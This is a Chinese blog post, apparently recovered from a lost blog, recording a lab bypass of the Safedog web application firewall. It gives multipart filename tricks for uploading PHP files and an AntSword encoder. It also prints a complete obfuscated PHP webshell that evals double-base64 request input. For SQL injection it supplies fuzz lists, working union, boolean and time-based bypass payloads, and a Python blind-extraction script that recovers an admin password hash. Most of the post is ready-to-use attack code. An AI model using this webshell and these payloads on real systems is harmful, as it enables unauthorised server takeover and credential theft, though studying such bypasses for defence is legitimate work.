玩命加载中 . . .

安全狗文件上传-sql注入绕过实验记录


此文章为博客丢失找回内容

此文章为博客丢失找回内容可能存在部分内容缺失情况

一、绕过安全狗文件上传

先上传一个正常文件,观察一下基本情况

upload successful

upload successful
upload successful

收集到基本信息

1.为windows系统php5.4.45环境 apache2.4.23环境 2.上传不是白名单 3.有回显路径 4.安全设备 安全狗

思考绕过安全狗要走的路程,一步一步的完成

1、要能上传php pHp 等 windows 能解析的后缀

2、内容检测,能够上传webshell,且要免杀,免杀包括文件免杀和连接流量免杀

1、完成恶意后缀的上传

1.1 闭合绕过

对filename的闭合进行修改,让安全狗无法定位到上传的文件名

去掉双引号绕过
Content-Disposition: form-data; name="upfile"; filename=1.php
Content-Type: image/jpeg

upload successful

成功绕过安全狗

upload successful

单引号混淆绕过

通过单引号干扰安全狗闭合的识别检测

upload successful

Content-Disposition: form-data; name="upfile"; filename="1.jpg'\2.php"
Content-Type: image/jpeg

upload successful

1.2 垃圾字符绕过

通过构造垃圾字符filename=,干扰安全狗对filename的检测,后台只会处理最后一个filename=

upload successful

Content-Disposition: form-data; name="upfile"; filename="1.jpg";filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=3.php
Content-Type: image/jpeg

upload successful

1.3 高并发绕过

在高并发情况下,安全狗可能处理不过来,会直接放过,毕竟防护设备不能影响正常业务,业务的并发>安全狗的并发

upload successful

upload successful

upload successful

upload successful

upload successful

上传成功

2.免杀 文件和流量层

已知道php版本 5.4.45,可以拼接函数名调用函数,不用直面eval容易很多,流量层多次base64就行,因为防护设备不可能多次解码,消耗时间,其次在每次编码前加随机长度字符串,base64也解不开。当然也可以用异或对称加密非对称加密等等。

之前学习过php webshell免杀,直接用试试吧

之前学习写的文章地址:

利用php7-4新特性webshell

蚁剑原理与魔改

蚁剑编码器

/**
 * php::base64编码器
 * Create at: 2020/11/21 15:21:10
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data['_'] = Buffer.from(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  //data[pwd] = `${data['_']}"));`;
  data[pwd] = Buffer.from(data['_']).toString('base64');

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

免杀的webshell:

<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>

上传:

upload successful

upload successful

蚁剑连接:

upload successful

执行命令成功获取到权限:

upload successful

二、绕过安全狗注入

1、判断闭合方式

使用fuzz判断后端的闭合方式,方便后续构造sql语句闭合

#
'-- +
'-- #
"-- +
"#
')-- +
')#
")-- +
")#
")-- +

upload successful

根据fuzz结果,判断后端未进行闭合

2、判断是否存在sql注入

根据上面判断的闭合方式,构造闭合,然后尝试构造能够改变sql执行结果的语句,这里使用and进行拼接来改变sql语句结构,比如and 1=1,当然也可以使用or & ||等来替换and,效果不同而已。

//fuzz字典

and floor(rand()*2)#
and floor(rand()*2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and 1=1-- +
and 1=1#
and 1=2-- +
and 1=2#
and 2>1-- +
and 2>1#
and 1<2-- +
and 1<2#
and 1#
and 1-- +
and null#
and null-- +
and null is null#
and null is null-- +
and null is not null#
and null is not null-- +
and 0-- +
and 0#
and -~0-- +
and -~0#
and hex(0)-- +
and hex(0)#
and hex(1)-- +
and hex(1)#
and true#
and true-- +
and !true#
and !true-- +
and mod(4,3)#
and mod(4,3)-- +
and mod(4,2)#
and mod(4,2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and '1'&1-- +
and '1'&1#
and '1'^1-- +
and '1'^1#
and -1--1--+
and -1--1#
and -1-1--+
and -1-1#

fuzz结果:

upload successful

根据返回结果,可以判断这里存在sql注入,下面解释两个payload判断理由。

2.1 and null is null#和and null is not null#判断sql注入

本地测试环境

upload successful

执行and null is null 和 and null is not null 发现返回结果不同

upload successful

fuzz结果与我们的猜想结果一致,and null is null 为true 返回正常查询结果,and null is not null 为 false 返回查询不到结果,说明我们改变了sql的语法结构,此处存在sql注入。

upload successful

2.2 and floor(rand()*2)# 判断sql注入

查看fuzz结果发现同一个payload(and floor(rand()*2)# 返回的执行结果却不相同,也构造随机不同的时间,查看不同的响应时间区别,这里构造随机真假。

upload successful

说明我们的rand()随机数影响了sql的执行结果,可以改变sql语句的结构,本地测试rand():

upload successful

利用rand()* 2 随机返回0和1 导致 and 1和 and 0两种不同的执行结果,与fuzz结果一致出现不同结果,由此判断此处存在sql注入。

3.联合注入过狗

3.1 判断字段数

已判断存在sql注入,且有回显,尝试使用联合查询回显我们想要的查询结果

构造联合查询需要知道前一个select的字段数,有两个方法:

  1. union select 1,2,3 一直向后加字段数来判断
  2. order by 加字段偏移数来判断字段数

由于union select后续同样需要bypass waf,学习为目的,这里先尝试order by过安全狗来判断字段数。

upload successful

由于order by 后面的偏移数并不影响waf的检查,所有重点fuzz order by,可以在上图1,2位置插入字符来进行fuzz,先暂时不对order 或 by进行变换尝试。

upload successful

// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
+
!
-
@
'
~
{}
\N
;%00
`
/*/**/
/*!/*!*/

查看fuzz结果发现不需要编写order或by,已经可以绕过安全狗

upload successful

payload:12 order//*/by#

upload successful

所以继续fuzz by 后面的数值,就能判断字段数

upload successful

upload successful

payload:12 order//*/by 10#

3.2 union select 过狗

已经判断字段为10,进行联合查询发现被waf拦截。

upload successful

select 后面的数字一般不会被waf拦截,主要是union select

upload successful

暂时不改变union和select本身的变换,尝试fuzz,上图3的三个空白处。

// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
/*/**/
/*!/*!*/

fuzz结果发现全都被安全狗拦截

upload successful

所以这里需要变换一些union或者select,在进行fuzz,这里使用常用的内联注释来变换一下select为/*!/*!11440select*/,本地测试确实并不会影响sql的执行

upload successful

原理:mysql中 /! …./ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!…./中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。

upload successful

变换select后waf会拦截,继续fuzz上面三个位置

upload successful

fuzz出安全狗没有拦截的内容,payload:-12 union//**//!/!11440select/1,2,3,4,5,6,7,8,9,10#

upload successful

3.3 查询数据库名称

直接将10换成database()发现会被安全狗拦截,由于前面都是bypass的,说明是识别database()的原因

upload successful

本地尝试如何变形database()

upload successful

发现上图1,2标注位置加空格等并不影响sql语句的执行,fuzz这两个位置

// fuzz 字典
%20
%0A
%0B
%0C
%0D
%20
/*/**/
/*!/*!*/

upload successful

3.4 获取表名

payload:http://192.168.2.133/sqltest/showproducts.php?id=-12%20union/*/**//*!/*!11440select*/1,2,3,4,5,6,7,8,9,group_concat(table_name) from information_schema.tables where table_schema='xycms'#

发现安全狗并不拦截

upload successful

如果拦截我们就需要考虑继续fuzz空白处,空白处不行,就考虑变换information_schema.tables

upload successful

本地测试发现在1,2位置加空格并不影响sql 执行,所以如果waf拦截我们就可以fuzz所有空白处。同时也可以内联,本地测试如下图,并不影响sql 的运行。

upload successful

3.5 获取表的字段值

这里安全狗并不拦截,所以我们直接获取就行了

payload:

-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(column_name) from information_schema.columns where table_name=’manage_user’#

upload successful

3.6 获取密码值

安全狗还是不拦截,直接获取就行,成功获取到admin密码

payload:-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(m_name,0x7e,m_pwd) from manage_user#

upload successful

解密:

upload successful

4.布尔注入过狗

思考我们想要执行的语句and substr(1,1,1)=1,本地测试我们在先不改变and、substr、=情况下,可插入其他符号的位置。

upload successful

upload successful

所以我们要fuzz上面四个位置,先看下能不能过狗

upload successful

fuzz一半就发现有很多可以正常响应,且waf不来拦截的payload,且substr正常执行

upload successful

upload successful

继续构造后面我们想要执行的语句:and substr(hex(1),1,1)#当然也可以使用ascii等等把后续查询结果转换的操作都可以,这里使用hex()

upload successful

发现waf不拦截

upload successful

upload successful

那我们继续构造我们想执行的东西

upload successful

当然也可跳过计算长度,直接截取,看返回,都可以,所有我们想执行的下一步sql

and substr(length(hex(1)),1,1) =1#

upload successful

upload successful

4.1 获取数据库名称

waf还是不拦截哈哈哈,那我们继续构造,查询数据库长度

and/*/**/substr(length(hex(database())),1,1) =1#

upload successful

开始拦截,说明是database()原因,那我们把上面联合查询的database的绕过弄过来先试试

发现还是被拦截了,那我们还是先fuzz database()的空白处,不行在变换database()

upload successful
本地测试发现可以fuzz上图四个位置

upload successful

upload successful

成功fuzz到waf不拦截的payload:

http://192.168.2.223/sqltest/showproducts.php?id=12 and/*/**/substr(length(hex(/*/**/database (/*/**/) )),1,9999) =10#

upload successful

upload successful

说明hex后的数据库名长度为10,那我们继续fuzz获取数据库名,我们想执行的下一个查询

and/*/**/substr(hex(/*/**/database(/*/**/)),1,9999) = XXXX#,waf不拦截,那我们直接获取就行了,写个脚本跑就行了。

upload successful

4.2 获取表名称

还是先获取表名的长度,select直接用联合查询已经绕过的先尝试一下,发现waf不拦截,那我们直接跑就完了

payload=http://192.168.2.223/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27))),1,9999)=194#

upload successful

继续查询表名,发现waf还是不拦截,payload:

12 and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27)),1,4)='636F'#

upload successful

upload successful

写个脚本跑一下

upload successful

upload successful

成功获取表名

4.3 获取字段值

和上面一样借助联合查询fuzz出来的payload,拼接一下布尔的payload

http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user'))),1,9999)=43#

发现waf也还是不拦截

upload successful

那我们继续fuzz后面的数字,获取到长度为44

upload successful

payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user')),1,1)=5#

写个脚本跑一下:

def conuntRequestHash(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
    }
    proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
    text = requests.get(url=url, proxies=proxies, verify=False).text
    return hash(text)
def getfield(url,lengthTable):
    hash = conuntRequestHash(url)
    database = ""
    for num in range(1, lengthTable + 1):
        hex = ['0','1', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'A', 'B', 'C', 'D', 'E', 'F', 'lnng']
        for hex1 in hex:
            if hex1 == 'lnng':
                print(str(num) + "出错了")
            payload1 = database + hex1
            parameter = "%20and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3d'manage_user'))%2c1%2c"+str(num)+")%3d'"+payload1+"'%23"
            payload = url + parameter
            request_hash = conuntRequestHash(payload)
            if request_hash == hash:
                database = database + hex1
                print(database)
                break
    return database

upload successful

成功获取字段值:id,m_name,m_pwd,c_date

4.4 获取密码

继续先获取长度,payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=7#

upload successful

同上面脚本,跑一下密码:

http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user)),1,1)='7'#

upload successful

成功得到账号密码:admin~21232f297a57a5a743894a0e4a801fc3

5.延时注入过狗

首先思考我们想执行的最简单的语句,那肯定是12 and if(1,1,1)

本地测试我们能变换的位置,发现图中的标注的三个位置我们都能添加别的字符。

upload successful

fuzz上图中的三个位置

// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
+
!
-
@
'
~
{}
\N
;%00
`
/*/**/
/*!/*!*/

fuzz发现有些payload甚至能正常返回页面,且waf不会拦截,所以暂时不用变换其他的

upload successful

本地尝试其中的任意一个payload,发现并不影响我们后续的sleep(sql的执行顺序原因)

upload successful

upload successful

waf并不会拦截,当然还有很多可以使用fuzz出来的payload:

upload successful

upload successful

4.1 sleep 过狗

and if(1,1,1)# 已经fuzz出来能过狗的,那么下一步我们就要fuzz sleep(),让其先能延时,要看下sleep(),哪些地方可以放东西。

upload successful
发现三个位置都可以放字符,所以用上面的方式fuzz这三个位置,暂时先不变换

upload successful

发现加三个空格都不拦截了,这正则写的哈哈哈

upload successful

upload successful

所以下面我们只需要构造下面位置就行,和上面的一样

upload successful

把上面布尔过狗的拿过来用就行

payload:

12%20and%20~if((substr(length(hex(/*/**/database%20(/*/**/)%20)),1,9999)%20=10),sleep%20(%2020%20),1)#

upload successful

upload successful

upload successful

总上延时注入成功。

4.2 获取密码

上面布尔的payload拼接都是不拦截的不在赘述,这里直接给出延时注入最后获取密码的payload:

http://192.168.2.63/sqltest/showproducts.php?id=12 and ~if((substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=76),sleep ( 20 ),1)#

upload successful

upload successful

upload successful


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 上一篇
内存马分析与处置实验记录 内存马分析与处置实验记录
此文章为博客丢失找回内容此文章为博客丢失找回内容可能存在部分内容缺失情况 一、找到命令执行 构造命令执行: 二、使用哥斯拉进行连接注入内存马 访问xx已存在 三、日志分析 内存 工具检测: memshell: 哥斯拉内
2022-11-08
下一篇 
CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现 CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现
1.漏洞信息2022年3月7日,互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞,漏洞适用于所有 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。 2.漏洞复现2.1 源码的获取官网目前已经无老
2022-06-10
  目录